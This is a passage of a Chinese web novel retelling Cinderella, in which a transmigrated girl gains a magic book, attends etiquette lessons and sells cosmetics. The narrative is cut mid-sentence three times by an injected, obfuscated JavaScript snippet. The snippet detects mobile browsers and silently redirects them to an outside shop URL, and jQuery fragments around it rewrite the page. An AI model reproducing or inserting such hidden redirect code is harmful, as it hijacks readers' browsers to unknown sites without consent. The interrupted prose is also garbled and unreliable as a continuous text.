辛蒂懂了，比起王子殿下这个人的性格和外表，她们更看重他的财富和地位。 这可和辛蒂想的不一样，童话故事不会讲述王子和灰姑娘在一起之后的鸡毛蒜皮，也不会描述王子是否专情于一人。 她是真的相信“幸福快乐地生活了一辈子”，现在看来，她理解的幸福快乐和童话说的可能有亿点点差异。 辛蒂自认做不到这样的“豁达”，她开始踌躇自己是否应该像原作那样参加舞会，获得王子的青睐了。 并非是辛蒂对于感情有多么高的要求，事实上之前是女高中生的她没有任何的感情经历，在这个时代她也生活了几年，目前唯一的想法就是好好活下去，也没有心思考虑什么情情爱爱的。 在不知道王子的私生活如此混乱之前，她本来是想按照原来的剧情走下去，做一个富贵闲人，现在她有点害怕跟王子在一起会不会染上什么乱七八糟的病症。 这里的医疗条件可不算好，女仆珍妮跟她讲过她的小妹妹就是因为一个听起来很像感冒的小病失去了生命，珍妮花大价钱请来的医生没有一点效果。 可是不依附王子，她又怎么在这里生存下去呢？辛蒂毫不怀疑自己到年纪后，莫罗夫人会把她作为讨好的工具嫁给某个大腹便便的贵族，詹姆斯还要夸他的继妻人脉广呢。 要是这样的话她还不如嫁给王子，可是辛蒂又实在是很膈应。 眼下只能想办法多赚点金币了，不管以后发生什么，金币总是可靠的。辛蒂暗暗下定决心，一定要打开魔法膏的销路。 因此在塞拉菲娜在提出想要和辛蒂在花园里单独散散步的时候，辛蒂并没有拒绝。 “亲爱的辛蒂，我觉得你的那些小发明好用极了，是否能送我一些，我好回去分给我的姊妹们，让她们也见识一下世界上竟然有如此精巧的技艺呢。” 塞拉菲娜第一句话就完全熄灭了辛蒂跟她合作的想法，这个女孩竟然想空手套白狼。但凡她诚恳一点，愿意花上几枚金币购买呢。 辛蒂可不相信什么送给其他贵族小姐的鬼话，塞拉菲娜八成会拿着东西去卖，在确认有利可图之后她应该会花上极低的金币继续购买，还要哄得她感激涕零。 这枚有着甜美外表的果子诱人表皮下苦涩的汁液辛蒂已经尝试过了，指望还能有点甜味已经是辛蒂犯蠢了，只有傻子才会再尝一口。 干脆利落地拒绝了塞拉菲娜，辛蒂开始思考和阿米莉亚合作的可能性。 她知道阿米莉亚很喜欢闪闪发光的金币，天生就是个财迷，这种喜欢有时候会超过她对于外貌的追求。 说实话，辛蒂都可惜她不是个男孩儿，否则就可跟着詹姆斯出门做生意了，说不定也能成为一个大商人呢。 阿米莉亚虽然不像塞拉菲娜那样认识很多贵族，也交好了很多商人家的小姐，这些小姐们应该会很愿意购买。 因为对金币的喜爱，阿米莉亚敏锐地察觉到了魔法膏的商机，甚至想要通过莫罗夫人得到辛蒂的配方，她八成会同意合作。 可是辛蒂担心阿米莉亚尝到甜头后告诉莫罗夫人，后者有的是手段逼她交出配方，那时候她不就为她们母女做嫁衣了吗？ 哎，真是烦恼。辛蒂决定再考虑考虑，说不定后面就会发生转机呢？要是她可以出门就好了，这些问题都能迎刃而解。 让辛蒂烦恼的事可不止这么一桩，那棵种在女人坟前的榛树如今已经长成了一棵漂亮的大树，可是说好的小白鸟迟迟都没有出现。 辛蒂不禁怀疑是不是自己泪水不够，还是说被察觉到了她就是个冒牌货，所以那只魔法小白鸟不愿意来了？ 又或者其实有一个暗藏的条件，需要她过得很悲惨才会有魔法出现吗？ 不管怎么样，辛蒂还是没有停止自己每天给榛树浇水的日常。 这棵榛树实在很漂亮，壮实的树干，碧绿的枝叶，只需要站在树下辛蒂就觉得心旷神怡。 她习惯了每天告诉榛树自己的日常，就像跟女人聊天，吹来的风怎么不算是一种回应呢。 这一天辛蒂在跟榛树吐槽西尔维娅，她的服装品味实在是很糟糕，总是喜欢大红大绿的色彩，而且她完全不相信辛蒂说的她适合淡雅些的风格。 忽然，辛蒂似乎听到了几声悦耳的鸟叫，不是辛蒂已知的任何鸟儿的叫声，说不出的动听。 她抬头一看，一只通体雪白，眼眸如同纯金制成的小白鸟出现在了枝头。 小白鸟金子的眼眸倒映着辛蒂小小的身影，辛蒂不知道真正的辛杜瑞拉会怎么向小白鸟祈求帮助，她觉得自己有求于鸟，应该有礼貌点儿。 于是她跑去厨房拿了些新鲜的葡萄放在手里，举起来示意请小白鸟吃点儿。 小白鸟歪歪脑袋，很给面子的飞到了辛蒂的手上，啄食起这甜蜜的果子来。 辛蒂碎碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760607|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念：“这个葡萄好吃吧，我特意给你留的，不过也留不了多久啦，你再不来就要进我的肚子了······” 看着小白鸟吃饱喝足，神情都显得惬意了些，辛蒂小心翼翼地提出了自己的要求：“亲爱的小白鸟，你可以教会我魔法吗？” 没错，辛蒂不要金币，也不要珠宝，她希望能学会魔法，这是她深思熟虑许久的结果。她始终希望能把力量掌握在自己手里，金币是力量，魔法也是。 小白鸟歪歪头，这个动作几乎萌化了辛蒂，辛蒂意识到小白鸟似乎没有听懂她在说什么，进一步解释道：“魔法就是，我想想，就是凭空能变出漂亮裙子的神奇能力。” 小白鸟似乎懂了，它发出几声悦耳的鸟叫声，一本看起来破破烂烂的书突然凭空出现落到辛蒂的手上。 随即小白鸟给了辛蒂一个意味深长的眼神便飞走了，辛蒂有种预感，不同于原作里的小白鸟每天都会出现，小白鸟应该再也不会回来了。 得到了魔法书的辛蒂高兴极了，可是翻开这本书后，辛蒂发现她不认识里面的字。 魔法书上的文字不是辛蒂见到过的任何一种，弯弯曲曲的活像是一堆小蠕虫，看一眼就觉得眼花。 不认识字没关系，辛蒂相信小白鸟不会给自己一本没用的书，一定有什么地方可以找到这种文字。 接下来的几天辛蒂都泡在了杜波伊斯府上的书房里，这个书房平时几乎没有人用，只是来充门面的，从詹姆斯到辛蒂，没有一个爱看书。 因此这里的书也比较少，基本都是一些常用书籍，辛蒂想要找的语言类著作几乎没有，辛蒂只能无奈放弃，她估摸着只能找机会请教哪个学者了。 不管怎么样，魔法的大门已经在辛蒂的眼前了，只需要她努努力找到钥匙就能进入那个瑰丽的世界。 好事总是成堆发生，辛蒂想要的转机很快出现，几周后，塞拉菲娜再次出现在杜波伊斯府上。 她带来了一个足以让西尔维娅和阿米莉亚的尖叫声掀翻屋顶的消息，这次连莫罗夫人的呵斥也不管用了。 说实在的，辛蒂认为要是莫罗夫人听到这个消息，她没准也会尖叫出声呢。 “王子殿下要在全国范围的适龄女孩中选妃了！”看得出来塞拉菲娜也十分激动，以往没有血色的脸蛋红彤彤的，都没顾得上维持自己的淑女仪态。 这个消息是辛蒂早有预料的，对她来说更重要的是随之而来的另外一件事。 “所有适龄女孩都可以进入皇宫参加舞会，为了不在舞会上失礼，女孩们需要参加统一的礼仪培训。” 传令官的消息比塞拉菲娜晚上两天，与此同时他宣布了另外的要求。 这不就是辛蒂心心念念的售卖魔法膏的机会吗？只是莫罗夫人恐怕不会那么容易松口让她参加礼仪培训，更别说这个培训价格不菲呢。 一个合格的礼仪教师的周薪不过一个金币，也就是说十个金币足够一对一三个月的教导。 而现在这个一个月的大锅饭培训竟然需要十个金币，辛蒂怀疑这是某些人在借此机会敛财。 这也算是一个隐形的门槛，说是适龄女孩都可以参加舞会，可王子妃要是真的出自贫民窟，整个王国都会因此蒙羞。 5. 埃莉诺 面对辛蒂也想要参加礼仪培训的请求，莫罗夫人果然提出了反对意见：“辛杜瑞拉，你的行为举止都不算淑女，我怕你到时候会得罪参加培训的贵族小姐们，给家里招致灾祸。” 继母的质疑并没有让辛蒂慌乱，她优雅起身，向莫罗夫人行了一个竟然十分标准的屈膝礼，用行为证明她也可以是一个淑女。 天主才知道辛蒂这个动作练了多少遍，才到现在这样浑然天成的地步。 莫罗夫人的微笑僵硬了一瞬，还想挑刺，向来不管事的詹姆斯少见的发表了自己的意见：“十个金币而已，想去就去吧。” 他的语气平和，却带着不容辩驳的意味。莫罗夫人知道，詹姆斯不会喜欢她这时候提出反对意见的。 在莫罗夫人的沉默下，这事算是定下来了。 辛蒂悄悄松了口气，不枉她精心挑选了一个詹姆斯大概率会经过的时候，在女人的坟前哭泣。 辛蒂记得詹姆斯和女人的感情是很好的，比起现在对于莫罗夫人有过之而无不及，常常会让她这个假小孩起鸡皮疙瘩的程度。 虽然不知道为什么詹姆斯现在对自己如此漠视，辛蒂只能简单归结于有了后妈就有后爸。 辛蒂不知道的是，詹姆斯的动容不仅仅是因为小女儿的哭泣。 辛蒂行屈膝礼的时候，让他一瞬间似乎看到了辛蒂的母亲年轻时候的样子，像是一朵阳光下沾着露水的鲜花，是那么的明媚可爱。 就算辛蒂知道，估计只会唾骂一句，假深情。如果詹姆斯真的情深意重，又怎么会对女人留下的女儿几乎视若无睹呢？ 辛蒂心心念念的礼仪培训的日子如期而至，可是她没有合适的衣服，只有那些颜色暗淡几乎只有奶奶辈的人才会选择的布料做成的裙子，穿出去显然会被嘲笑。 女仆珍妮为她找出了一条女人以前穿过的粉裙子，连夜改成了适合辛蒂的大小。 穿上新裙子的辛蒂不像之前不修边幅的样子，有了她这个年纪少女应该有的样子，粉嫩得如同一朵含苞待放的花朵。 詹姆斯看到梳洗一新的辛蒂，眼前一亮，他已经习惯了穿得灰扑扑的小女儿。 这时候他才意识到辛蒂不像她的两个继姐有着穿不完的华丽裙子，也不像小时候那样总是被打扮得漂漂亮亮的。 他看着辛蒂空空荡荡的脖子，想着他应该也为辛蒂买点珠宝首饰什么的。 一转头他投入到书桌上堆积如山的事务中，做完了这些，美丽的继妻和继女的撒娇占据了他全部的心神，他再次忘记了辛蒂。 还是莫罗夫人想到要是辛蒂老是穿一条旧裙子，恐怕会丢他们的脸，施舍给了辛蒂很多两姐妹不穿的旧衣服，这才让辛蒂免于只有一条裙子可以穿的窘境。 辛蒂不知道自己差点重获父爱，她在礼仪培训课程里遭遇到了小小的挫折。 一开始很顺利，辛蒂惹人怜惜的美丽得到了礼仪老师戈尔曼女士的喜爱，对她颇有关照。 可惜好景不长，因为辛蒂对莫罗夫人的违背，西尔维娅和阿米莉亚最近对辛蒂友好了一点儿的态度又糟糕起来，“小辛蒂”再次变成了“仙杜瑞拉”。 不仅如此，她们还在培训课上大肆宣扬辛蒂的外号，说她睡在阁楼上每天和老鼠作伴之类的。 礼仪课的小姐们原本觉得辛蒂通身的气派看起来像是公爵家的女儿，很多小姐都愿意跟她交好。 可是在西尔维娅到处败坏辛蒂的名声后，所有人都对辛蒂避之唯恐不及，仿佛她是个散发着臭味的垃圾。 再后来传言越来越离谱，竟然演变成辛蒂的美貌是因为女巫的魔法，她本人实际上奇丑无比。这样的无稽之谈，相信的小姐却不少。 辛蒂很难受，不仅因为被孤立，还有这样一来她没办法推销她的魔法膏了！她本来准备先交好一部分小姐，熟悉后找机会让她们看见魔法膏的功效，肯定有小姐也想拥有魔法膏。 这时候她就谎称这是女仆采购的，假装询问后再告诉她们这是女仆在她寄售魔法膏的商店买的，这样一来，虽然会被商店抽成，但是她不会沾上商贾的名声，魔法膏也能卖出去。 原本多么完美的计划！辛蒂在心里狠狠记了西尔维娅和阿米莉亚一笔，暗暗决定以后给她们化妆都用残次品。 在辛蒂独自坐在角落郁郁寡欢的时候，旁边有几个贵族小姐在谈论着王子，她们甚至比西尔维娅几人还要疯狂，说出了“即使王子不再是王子，我仍然爱他”这种完全没有脑子的话。 辛蒂忍不住嗤笑，爱他什么？爱他每天都不着家吗。 辛蒂忽然听到一声突兀的笑声，她吓了一跳，难道她没忍住笑出声了？还好虚惊一场，发出笑声的不是辛蒂，而是不远处另外一个小姐。 这是一个可爱的圆脸姑娘，她也和西尔维娅一样脸上长着雀斑，不过这对她的容貌来说不是什么败笔，反而让她像洋娃娃一样。 她似乎也被自己吓了一跳，急忙捂住嘴，所幸那几个贵族小姐沉浸在自己的世界里，完全没有听到。 圆脸小姐松了口气，她注意到了刚刚辛蒂嘴角的弧度，调皮地冲她眨了眨眼。 这位小姐实在可爱，辛蒂忍不住上前跟她搭话：“可爱的小姐，你好，我是商人的女儿辛蒂·杜波伊斯，很高兴认识你。” 圆脸小姐露出一个活泼泼的笑容来：“你好，杜波伊斯小姐，你的美丽让我印象深刻，我叫埃莉诺·杜卡斯。” 这段时间的礼仪课里辛蒂了解到了不少贵族相关的常识，她知道杜卡斯是个贵族的姓氏。 辛蒂轻轻补行了一个屈膝礼：“原来是杜卡斯小姐，刚刚多有冒犯，还请谅解。” 这里的贵族可不好惹，稍有冒犯或许就会招致来灾祸，平民需要向贵族行礼，要是辛蒂没有行礼，或许会被认为是不敬，莫罗夫人之前的担心并不完全是无稽之谈。 辛蒂前几天才看到一个商人之女靠着珠宝讨好了一个贵族小姐，两人原本看起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760608|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来关系颇为亲密，可是不知道后者被哪句无心之言触怒，商人之女被逐出了礼仪课程，参加舞会的资格当然也失去了。 有了这样的前车之鉴，辛蒂不敢不多谨慎些。 埃莉诺·杜卡斯却很随和：“不必那么客气，杜卡斯也不是什么显赫的家族，要不然我也不会参加这个礼仪课程，笑几声还要看别人的脸色。” 这倒是实情，真正的大贵族家的小姐不需要礼仪培训也能参加宫廷舞会，所以礼仪课里真正身份高贵的小姐很少。 不过贵族再怎么落魄，也比商人的地位高。塞拉菲娜的家族穷得都没有金币给女儿买新裙子了，塞拉菲娜却可以成为杜波伊斯府的座上宾就能说明这一点。 辛蒂略微观察了一下埃莉诺·杜卡斯的衣着，发现她的裙子并不是当下时髦的修米兹裙，而是一条简简单单的荷兰风女裙，佩戴的首饰也都十分简单，确实没有那些贵族小姐那么珠光宝气。 不过修米兹裙太过于修身，不太适合杜卡斯小姐不算高挑的身材，反而现在的裙子能很好的修饰她的身材缺陷。 服装是辛蒂感兴趣的领域，想着一时间有些出神。埃莉诺·杜卡斯清脆的声音让她回过神来：“杜波伊斯小姐，铃铛响了，我们该回去上课了。” 接下来几天的礼仪课没有发生什么波澜，因为和杜卡斯小姐交上了朋友，旁人时不时的打量和议论都不被辛蒂在意了。 埃莉诺·杜卡斯是一个有原则的人，她不爱听流言蜚语，在辛蒂问她在不在乎自己风评不太好的时候，她的眼神十分清澈： “亲爱的辛蒂，看人需要用眼睛看，用心感受，而不是听别人怎么说的。我想你也不必太在乎那些话，真正有眼光的人是不会错过你这样闪闪发光的珍珠的。” 辛蒂被她的话感动得几乎要流泪，不管表面上看上去有多么的不在乎，她毕竟只是一个高中都还没毕业的小姑娘。 她以前虽然不是什么人群的中心，却也从没有感受到过这么多莫名其妙的恶意，只是凭着一股子倔强的心气不愿意服输罢了。 这些对她不利的流言或许也不是完全的坏事，最起码让她认识了可以相交的朋友，埃莉诺几乎不像是这个时代的人，她的思想十分自由。 辛蒂想，埃莉诺一定有着很幸福的家庭和相爱的父母，如此她才能长成眼下这样毫无阴霾的模样。 埃莉诺温柔的话语抚平了辛蒂内心的伤口，她振作起来，原本因为美丽的外貌产生的些许洋洋得意消失了。 她再次意识到她需要更多的金币、魔法，或是其他什么，而不是单单只有一张脸，她还没有能力保护自己的美貌。 冷静下来的辛蒂很清楚，那些旁人的恶意真的只是因为西尔维娅的几句话吗？恐怕也和嫉妒有关，过人的美貌对于现在的自己来说并不是什么好事。 脑子清明起来的辛蒂决定用她的化妆手段遮掩住自己的一部分美貌，而且她想到了一个很好的售卖魔法膏的办法。 6. 反噬 之后的礼仪课上，众位小姐惊讶地发现那个总是会在人群中会被一眼瞧见的辛蒂·杜波伊斯忽然变得平庸了起来。 这种感觉很奇怪，她的五官似乎没变，又似乎没有之前那么精致了。 硬要说的话，之前的辛蒂·杜波伊斯的脸蛋就像是上帝精雕细琢后的得意之作，现在却无法给人那样的惊艳之感了。 有些敏锐的小姐意识到这中间的变化或许有什么奥秘，所有人都听过那个“女巫的魔法”的传言，难道是魔法失效了？ 还没等她们弄清楚辛蒂变化的原因，又有人注意到埃莉诺·杜拉斯似乎变得美丽了不少。 这样的变化和辛蒂的“变丑”一样，说不出来却又难以忽视。 因为辛蒂和老鼠作伴的传言，她们都不愿意靠近辛蒂，和埃莉诺·杜卡斯说话就没有了那么多的顾忌。 性子急的贵族小姐直接询问了埃莉诺：“杜卡斯，你是怎么变得美丽的？” 埃莉诺·杜卡斯在辛蒂看来洋娃娃一样可爱的容貌在贵族圈子里却得不到欣赏，常常会被认为没有女人味，星星点点的雀斑更是绝对的败笔。 现在的埃莉诺脸上不仅雀斑消失了，肌肤更加的洁白透亮，面部的轮廓感更强，眉眼间有一种深邃的美丽。 急性子贵族小姐的询问让埃莉诺露出了一个得意的笑容，她并没有藏私，大大方方的说出了自己的“秘诀”： “这是辛蒂用她神奇的双手施展的‘魔法’，她那个词怎么说来着，哦对，化妆！” “这个词的意思我也弄不清楚，总之她用了一些很神奇的小玩意，在我脸上涂涂抹抹半天，然后就有了你们现在看到的样子。” 大家都很好奇，埃莉诺索性让她们凑近了随便看，果然小姐们在她的脸上看到了很多涂抹的痕迹。 有个小姐的形容十分恰当：“这不就是在脸上‘画画’吗？” 埃莉诺拍手笑道：“没错！不过我们没有使用铅白或者油彩，而是特殊制作成的‘化妆品’，辛蒂说这些东西不会伤害娇嫩的脸蛋，还能养颜呢！” 养颜完全是吹牛，不过比起有毒的铅白来说，辛蒂制作的化妆品基本无害，这怎么不算是一种养颜呢。 不少小姐因为埃莉诺的话心动不已，开始隐晦地打听这些化妆品是在哪里购买的。 她们还有些担心辛蒂和埃莉诺会独占这样的变美技巧，没想到埃莉诺很爽快地告诉了她们购买的地方。 心急的小姐在得到地址后立即派遣了女仆前去购买，还强调了要买上全套，听起来要达到埃莉诺那样的效果，需要的东西还不少呢。 在女孩们的纠缠下，埃莉诺又仔细讲述了一遍辛蒂给她化妆的过程，没想到这个商人的女儿竟然有这么巧的一双手，不少人都对辛蒂改观了，再加上辛蒂不像之前那么“刺眼”，一时间竟然受欢迎了起来。 西尔维娅看到辛蒂莫名其妙变得受欢迎起来，感到生气极了。她试图继续败坏抹黑辛蒂的形象，这次却再没有得到任何的附和。 之前跟她一起散播谣言的小姐甚至给了她一个鄙夷的眼神：“西尔维娅，你怎么能这样坏，你脸上的雀斑也是杜波伊斯小姐帮你遮住的吧？你非但不感激，还到处说她的坏话，我看你就是嫉妒她比你美丽！” 这位小姐这么说当然不是因为她的正义感有多么强，只是之前她询问西尔维娅是如何遮掩雀斑的时候，西尔维娅不肯告诉她，这让她怀恨在心，现在正好有机会可以踩西尔维娅一脚。 西尔维娅被当众给了难堪，脸色通红却不知道如何辩驳。不管心里如何想，合格的淑女表面上一定善良，嫉妒他人甚至中伤会被不齿。 阿米莉亚因为姐姐陷入窘境气愤不已，她尖声道：“你们别被辛蒂·杜波伊斯骗了！这些东西都是她制作的，她这是为了赚取你们的金币！” 商贾的名声可不好听，辛蒂迅速反击：“要是我自己能做我就藏着不说出来了，怎么可能告诉别人！” 辛蒂的话得到了绝大多数小姐的认同，在这些不知人间疾苦的小姐们心里，赚取金币可不是什么好事，美貌绝对比金币更重要。 “反倒是你，阿米莉亚，我记得你似乎跟詹姆斯说过想要跟他一起出去赚取金币。”辛蒂的眼中闪过冷冷的寒光，造谣谁不会呢，更何况这样不算彻底的假话。 这句话如同石子落进平静的湖面，高贵的小姐们一片哗然，都用之前看辛蒂的目光注视着阿米莉亚。 在她们眼里，阿米莉亚是勋爵的女儿，虽然母亲改嫁了商人，却也有着高贵的血统。现在却想抛头露面做商贾之事，玷污了贵族，已经完全不能被称作是淑女了。 阿米莉亚内心的隐秘被戳穿，羞恼之下开始口不择言起来：“你这个低贱的商女······”她的嘴好像淬了毒，吐出了许多一个淑女不应该说的粗俗俚语。 大家都被阿米莉亚丑恶的一面吓到，纷纷掩面，似乎不愿意让那些俚语脏了她们的耳朵。 教导礼仪的戈尔曼女士注意到了这边的动静，正好听到了阿米莉亚粗俗的话。 她一般不管这些小姐们怎么扯头花，但是这些粗俗俚语不应该出现在这个洁净的地方，她一脸严肃的训斥了阿米莉亚。 阿米莉亚这才反应过来自己说了些什么，她觉得自己的脸都丢光了，这不是一向心高气傲的她可以承受的，竟然一路呜呜哭着跑回了家。 看着阿米莉亚和西尔维娅灰溜溜的背影，辛蒂只觉得心里痛快，她们欺负了她这么久，这只是利息。 她知道西尔维娅和阿米莉亚回去必定会向莫罗夫人告状，或许今天以后她就再也没办法出现在礼仪课上了。 不过没关系，她已经和埃莉诺说好了，要是她哪天没来上课，她会来杜波伊斯府拜访，辛蒂不会失去和外界的联系。 人类的悲欢并不相通，辛蒂正在暗暗忧虑继母可能的反击，寄售商店的老板托马斯·麦钱特却发了一笔横财 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760609|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 托马斯·麦钱特的生意只能说平平无奇，他不像那些大商人有着自己独特的货源，只能卖些大路货，挣的钱只够糊口。 虽然祖上是大商人，托马斯·钱麦特的经商天赋实在是有限，几乎全靠他的姐姐珍妮·钱麦特。事实上，他能开上这么个小店本金是珍妮给的，客源也几乎都是珍妮带来的。 一开始珍妮带给他魔法膏要寄售的时候，他还短暂地高兴了几天，这样高级的物品无疑可以提高他铺子的档次。 可是他没想到魔法膏的价格一降再降也卖得很差，他看得出来那些试用过的女孩儿们都很心动，可惜她们不是工厂的女工就是女仆，魔法膏都快降到成本价了也买不起。 让托马斯意外的是，在这种卖不出去的情况下，有一天他愚蠢的姐姐珍妮竟然让他把价格提到三金币一份，这可是原来价格的十倍！ 珍妮不愿意告诉托马斯魔法膏的来源就算了，还把价格提升到如此离谱的水平，要是换成别的商店，肯定不愿意接受这样离谱的货物。可是这是珍妮出资的店，托马斯只能勉强同意。 不仅如此，她还带来了许多别的新奇的，据说跟魔法膏有着类似作用的物品。珍妮并不向他展示用法，只是说让他按套售卖，一套二十金币。 天主在上！二十金币，这是托马斯想都不敢想的，他这个小店所有物品加起来都不值二十金币！ 可是珍妮坚持，托马斯又有什么办法呢？对于寄售商品他没有定价权，珍妮答应他，卖出去后他可以抽成百分之二十。 珍妮可不像她在托马斯面前表现出来的那样胸有成竹，她见识过这些化妆品的魔力，或许那些贵族小姐们愿意花上二十金币，可是托马斯的小店哪里会有什么贵族小姐光顾呢？ 可是珍妮拗不过辛蒂，辛蒂一再保证她会找到客源，珍妮这才答应。 托马斯根本没想过他能挣这二十金币的百分之二十，可是货物摆出来的第二天，一个陌生的女仆出现在了他的店里，看得出来她服务于贵族，穿着打扮都很讲究。 这位女仆指名道姓要“全套化妆品”，托马斯傻眼了，一直到这位女仆拿着货物离开他都没有反应过来。 他捏着手里沉甸甸的金币，数了一遍又一遍，没错，他没有眼花，这就是货真价实的金币，其中还有4枚是属于他的！ 托马斯不敢相信这突如其来的财富，忽然产生了一个恐怖的猜测，珍妮不会是在帮她的主人把一些来源不太干净的财富合法化吧？ 他之前听说过这样的事，可是涉及的金额都很巨大，并不只有区区几十金币，托马斯感到十分费解。 不过后来托马斯就无暇思考那么多了，因为购买“全套化妆品”的女仆一个接一个的来了，手边的金币很快就数不过来了。 托马斯已经放下了自己的担心，因为女仆们好些都是坐着带着贵族标识的马车来的，还有小姐亲自前来购买，换而言之，这些都是真正的顾客。 7. 金币 女仆珍妮来的时候，托马斯刚刚好言好语送走了一个因为没有买到全套化妆品显得相当恼怒的小姐。 托马斯如同看到救星一般迎了上去，语气带着甜蜜的抱怨：“亲爱的珍妮，你怎么才来！” 珍妮本来还不理解为什么辛蒂小姐一定要让她今天来，明明昨天才送来一批化妆品，天真的小姐，难道她认为今天能全部卖出去吗？ 直到看到托马斯手边鼓鼓囊囊的金币袋子，珍妮这才意识到天真的是她自己。 珍妮努力压抑着自己的激动和紧张，她怕自己露怯会导致托马斯产生不该有的觊觎。即使亲姐弟而且她颇为了解托马斯的胆小性格，她也怕托马斯舍不得到手的财富，带着金币一走了之。 她尽量沉稳，显得胸有成竹：“都卖出去了？” 托马斯没有看出来珍妮的强作镇定，他一脸兴奋：“是的，十套都卖出去了，好几个没买到的小姐还留了定金呢！” 都卖出去了，那是多少钱？珍妮觉得自己要昏厥过去了，她从没见过这么多金币！ 忽然珍妮想到什么，有几分紧张：“你没说是谁寄售的吧？” 确实有小姐打听售卖者，托马斯得到过嘱咐，只说是他从国外采购的货物，倒也没有人怀疑。 珍妮松了口气，她清点了一遍金币，她之前带来了十套化妆品，那就是200个金币，扣除托马斯的提成，她足足可以拿到手160个金币！ 珍妮觉得自己的心砰砰直跳，颇有些头晕目眩，托马斯追问下一批货物到来的时间以及是否需要涨价的种种问题她都忘记了自己是怎么回答的。 不过她还记得嘱咐托马斯把定金的金币退回给那些小姐，这十套化妆品已经是她和辛蒂小姐制作了一年的成果，眼下辛蒂小姐越来越忙碌，后续的发展珍妮还要跟她商量一下才好决定。 在回去的路上珍妮把金币的袋子攥得紧紧的，生怕被有心人看到这一大袋子金币，从而导致不必要的风险。 有惊无险回到了杜波依斯府，女仆珍妮的喜悦被一扫而空——不知道为什么，辛蒂再次被关到了小黑屋。 不同于上次明确了结束时间，这一次莫罗夫人大有把辛蒂关到詹姆斯回家的时候的意思。 珍妮还记得上次小辛蒂从小黑屋出来以后，整个人止不住的发抖，小小的女孩紧紧攥着女仆的衣角，不敢闭眼，似乎生怕再次回到黑暗之中。 辛蒂这样的状态持续了很久，一直到她撑不住闭眼睡去。 后来的辛蒂小姐就没有了之前的活泼，沉稳了许多，也是从那之后，辛蒂开始研究怎么赚取金币。 女仆珍妮不敢想象，再次经历小黑屋，辛蒂小姐会是多么的绝望啊，一想到这里，她就止不住的心疼。 可是她一点办法都没有，她只是一个女仆，她只能听从主家的命令。又一次的，珍妮希望能把辛蒂装进自己的围裙口袋，离开这个冷冰冰的地方。 被珍妮惦记着的辛蒂此时的确不好受，她本来就惧怕黑暗，这样纯黑的环境总是让她联想到一些不好的东西。 不过辛蒂并不后悔，莫罗夫人总是维持着端庄的脸上从未出现过那么难看的表情，一想到辛蒂就几乎要畅快地大笑出声。 莫罗夫人仿佛淬了毒一般的话语还在辛蒂的耳边回荡： “我真是小瞧你了辛杜瑞拉，这样污蔑西尔维娅和阿米莉亚，想必你已经猜到了自己的下场。” “等詹姆斯回来，我会告诉他你的所作所为，杜波伊斯府已经容不下你了，我替你物色到了一个好丈夫，相信你会很满意的。” 辛蒂并不在意莫罗夫人的威胁，估计现在珍妮已经带回来了一大笔金币，有了金币，大不了她放弃这个身份，离开杜波伊斯府。 或许是因为原本黯淡的未来终于有了一丝光亮，也或许本来就没有对任何人抱有期待，辛蒂从容了很多，小黑屋变得不再难捱，反而让她有了一段不被打扰的思考的时光。 不知道时间过去了多久，小黑屋的门突然打开了，门外是莫罗夫人十分难看的脸色，甚至比之前还要难看。 辛蒂很疑惑，难道是詹姆斯不愿意接受莫罗夫人的建议，父爱大发想要护着她了？不可能，要护早护着了。 而且眼下时间还早，詹姆斯不可能已经回家了。 辛蒂的疑惑落在莫罗夫人的眼里，让她的怒火更多了一层。她语气十分僵硬：“亚基亚德大公的女儿乔瓦娜·亚基亚德小姐邀请你去做客，马车就停在门口，你快收拾一下吧。” 乔瓦娜·亚基亚德？辛蒂记得自己从没认识过这样一位小姐，而且她确信礼仪课里没有这个人。 莫罗夫人如此气急败坏却又无可奈何，这位小姐的地位想必十分高贵，让她不敢随意打发走，只能让辛蒂亲自出面。 虽然不认识乔瓦娜·亚基亚德，不妨碍辛蒂狐假虎威，她朝着继母露出一个稍显轻蔑的笑容，没有行礼，直接回了房间。 莫罗夫人没想到辛蒂只是去上一个礼仪课，竟然能叫她傍上这样的大人物。她来之前仔细盘问了两个女儿礼仪班真正发生的事情经过，确定其中并没有亚基亚德。 原本两个女儿向她描述化妆术的神奇之处，她并没有放在心上。 眼下她猜测亚基亚德小姐或许是冲着辛蒂的化妆技术来的，要是真叫辛蒂讨了好，她恐怕再也无法把这个继女捏在手里。 不过换个角度想想，要是辛蒂能因此嫁给某个贵族，西尔维娅和阿米莉亚也能因此受益，未尝不是一件好事······ 辛蒂也认为亚基亚德小姐有修饰容貌方面的需求，她匆匆带上了她自用的化妆品，都没来得及跟女仆珍妮说上几句话就坐上了公爵府的马车。 